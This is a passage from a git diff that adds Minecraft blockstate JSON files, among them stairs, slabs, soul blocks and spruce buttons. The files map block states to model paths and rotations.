"model": "minecraft:block/smooth_quartz" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_quartz_slab.json b/src/assets/minecraft/blockstates/smooth_quartz_slab.json new file mode 100644 index 00000000..7741145d --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_quartz_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/smooth_quartz_slab" + }, + "type=double": { + "model": "minecraft:block/smooth_quartz" + }, + "type=top": { + "model": "minecraft:block/smooth_quartz_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_quartz_stairs.json b/src/assets/minecraft/blockstates/smooth_quartz_stairs.json new file mode 100644 index 00000000..f917f38e --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_quartz_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_quartz_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_quartz_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/smooth_quartz_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_red_sandstone.json b/src/assets/minecraft/blockstates/smooth_red_sandstone.json new file mode 100644 index 00000000..5f441b0f --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_red_sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/smooth_red_sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_red_sandstone_slab.json b/src/assets/minecraft/blockstates/smooth_red_sandstone_slab.json new file mode 100644 index 00000000..49aa61b0 --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_red_sandstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/smooth_red_sandstone_slab" + }, + "type=double": { + "model": "minecraft:block/smooth_red_sandstone" + }, + "type=top": { + "model": "minecraft:block/smooth_red_sandstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_red_sandstone_stairs.json b/src/assets/minecraft/blockstates/smooth_red_sandstone_stairs.json new file mode 100644 index 00000000..d0b5cdbf --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_red_sandstone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_red_sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/smooth_red_sandstone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_sandstone.json b/src/assets/minecraft/blockstates/smooth_sandstone.json new file mode 100644 index 00000000..fdc28aa9 --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/smooth_sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_sandstone_slab.json b/src/assets/minecraft/blockstates/smooth_sandstone_slab.json new file mode 100644 index 00000000..988733be --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_sandstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/smooth_sandstone_slab" + }, + "type=double": { + "model": "minecraft:block/smooth_sandstone" + }, + "type=top": { + "model": "minecraft:block/smooth_sandstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_sandstone_stairs.json b/src/assets/minecraft/blockstates/smooth_sandstone_stairs.json new file mode 100644 index 00000000..c35ece7b --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_sandstone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/smooth_sandstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/smooth_sandstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/smooth_sandstone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_stone.json b/src/assets/minecraft/blockstates/smooth_stone.json new file mode 100644 index 00000000..a2fb9bfe --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_stone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/smooth_stone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/smooth_stone_slab.json b/src/assets/minecraft/blockstates/smooth_stone_slab.json new file mode 100644 index 00000000..9150d679 --- /dev/null +++ b/src/assets/minecraft/blockstates/smooth_stone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/smooth_stone_slab" + }, + "type=double": { + "model": "minecraft:block/smooth_stone_slab_double" + }, + "type=top": { + "model": "minecraft:block/smooth_stone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/snow.json b/src/assets/minecraft/blockstates/snow.json new file mode 100644 index 00000000..a82cad93 --- /dev/null +++ b/src/assets/minecraft/blockstates/snow.json @@ -0,0 +1,28 @@ +{ + "variants": { + "layers=1": { + "model": "minecraft:block/snow_height2" + }, + "layers=2": { + "model": "minecraft:block/snow_height4" + }, + "layers=3": { + "model": "minecraft:block/snow_height6" + }, + "layers=4": { + "model": "minecraft:block/snow_height8" + }, + "layers=5": { + "model": "minecraft:block/snow_height10" + }, + "layers=6": { + "model": "minecraft:block/snow_height12" + }, + "layers=7": { + "model": "minecraft:block/snow_height14" + }, + "layers=8": { + "model": "minecraft:block/snow_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/snow_block.json b/src/assets/minecraft/blockstates/snow_block.json new file mode 100644 index 00000000..eac19731 --- /dev/null +++ b/src/assets/minecraft/blockstates/snow_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/snow_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/soul_campfire.json b/src/assets/minecraft/blockstates/soul_campfire.json new file mode 100644 index 00000000..9052d211 --- /dev/null +++ b/src/assets/minecraft/blockstates/soul_campfire.json @@ -0,0 +1,34 @@ +{ + "variants": { + "facing=east,lit=false": { + "model": "minecraft:block/campfire_off", + "y": 270 + }, + "facing=east,lit=true": { + "model": "minecraft:block/soul_campfire", + "y": 270 + }, + "facing=north,lit=false": { + "model": "minecraft:block/campfire_off", + "y": 180 + }, + "facing=north,lit=true": { + "model": "minecraft:block/soul_campfire", + "y": 180 + }, + "facing=south,lit=false": { + "model": "minecraft:block/campfire_off" + }, + "facing=south,lit=true": { + "model": "minecraft:block/soul_campfire" + }, + "facing=west,lit=false": { + "model": "minecraft:block/campfire_off", + "y": 90 + }, + "facing=west,lit=true": { + "model": "minecraft:block/soul_campfire", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/soul_fire.json b/src/assets/minecraft/blockstates/soul_fire.json new file mode 100644 index 00000000..bd637a77 --- /dev/null +++ b/src/assets/minecraft/blockstates/soul_fire.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "apply": [ + { + "model": "minecraft:block/soul_fire_floor0" + }, + { + "model": "minecraft:block/soul_fire_floor1" + } + ] + }, + { + "apply": [ + { + "model": "minecraft:block/soul_fire_side0" + }, + { + "model": "minecraft:block/soul_fire_side1" + }, + { + "model": "minecraft:block/soul_fire_side_alt0" + }, + { + "model": "minecraft:block/soul_fire_side_alt1" + } + ] + }, + { + "apply": [ + { + "model": "minecraft:block/soul_fire_side0", + "y": 90 + }, + { + "model": "minecraft:block/soul_fire_side1", + "y": 90 + }, + { + "model": "minecraft:block/soul_fire_side_alt0", + "y": 90 + }, + { + "model": "minecraft:block/soul_fire_side_alt1", + "y": 90 + } + ] + }, + { + "apply": [ + { + "model": "minecraft:block/soul_fire_side0", + "y": 180 + }, + { + "model": "minecraft:block/soul_fire_side1", + "y": 180 + }, + { + "model": "minecraft:block/soul_fire_side_alt0", + "y": 180 + }, + { + "model": "minecraft:block/soul_fire_side_alt1", + "y": 180 + } + ] + }, + { + "apply": [ + { + "model": "minecraft:block/soul_fire_side0", + "y": 270 + }, + { + "model": "minecraft:block/soul_fire_side1", + "y": 270 + }, + { + "model": "minecraft:block/soul_fire_side_alt0", + "y": 270 + }, + { + "model": "minecraft:block/soul_fire_side_alt1", + "y": 270 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/soul_lantern.json b/src/assets/minecraft/blockstates/soul_lantern.json new file mode 100644 index 00000000..295698d6 --- /dev/null +++ b/src/assets/minecraft/blockstates/soul_lantern.json @@ -0,0 +1,10 @@ +{ + "variants": { + "hanging=false": { + "model": "minecraft:block/soul_lantern" + }, + "hanging=true": { + "model": "minecraft:block/soul_lantern_hanging" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/soul_sand.json b/src/assets/minecraft/blockstates/soul_sand.json new file mode 100644 index 00000000..e28fd5ea --- /dev/null +++ b/src/assets/minecraft/blockstates/soul_sand.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/soul_sand" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/soul_soil.json b/src/assets/minecraft/blockstates/soul_soil.json new file mode 100644 index 00000000..df0da5f8 --- /dev/null +++ b/src/assets/minecraft/blockstates/soul_soil.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/soul_soil" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/soul_torch.json b/src/assets/minecraft/blockstates/soul_torch.json new file mode 100644 index 00000000..be81df74 --- /dev/null +++ b/src/assets/minecraft/blockstates/soul_torch.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/soul_torch" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/soul_wall_torch.json b/src/assets/minecraft/blockstates/soul_wall_torch.json new file mode 100644 index 00000000..653ffef8 --- /dev/null +++ b/src/assets/minecraft/blockstates/soul_wall_torch.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/soul_wall_torch" + }, + "facing=north": { + "model": "minecraft:block/soul_wall_torch", + "y": 270 + }, + "facing=south": { + "model": "minecraft:block/soul_wall_torch", + "y": 90 + }, + "facing=west": { + "model": "minecraft:block/soul_wall_torch", + "y": 180 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spawner.json b/src/assets/minecraft/blockstates/spawner.json new file mode 100644 index 00000000..9f2f1a05 --- /dev/null +++ b/src/assets/minecraft/blockstates/spawner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/spawner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sponge.json b/src/assets/minecraft/blockstates/sponge.json new file mode 100644 index 00000000..136e393a --- /dev/null +++ b/src/assets/minecraft/blockstates/sponge.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/sponge" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_button.json b/src/assets/minecraft/blockstates/spruce_button.json new file mode 100644 index 00000000..587b74ff --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/spruce_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/spruce_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/spruce_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/spruce_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/spruce_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/spruce_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_door.json b/src/assets/minecraft/blockstates/spruce_door.json new file mode 100644 index 00000000..94dd4e1b --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_bottom_hinge", + "y": 90 + }, + 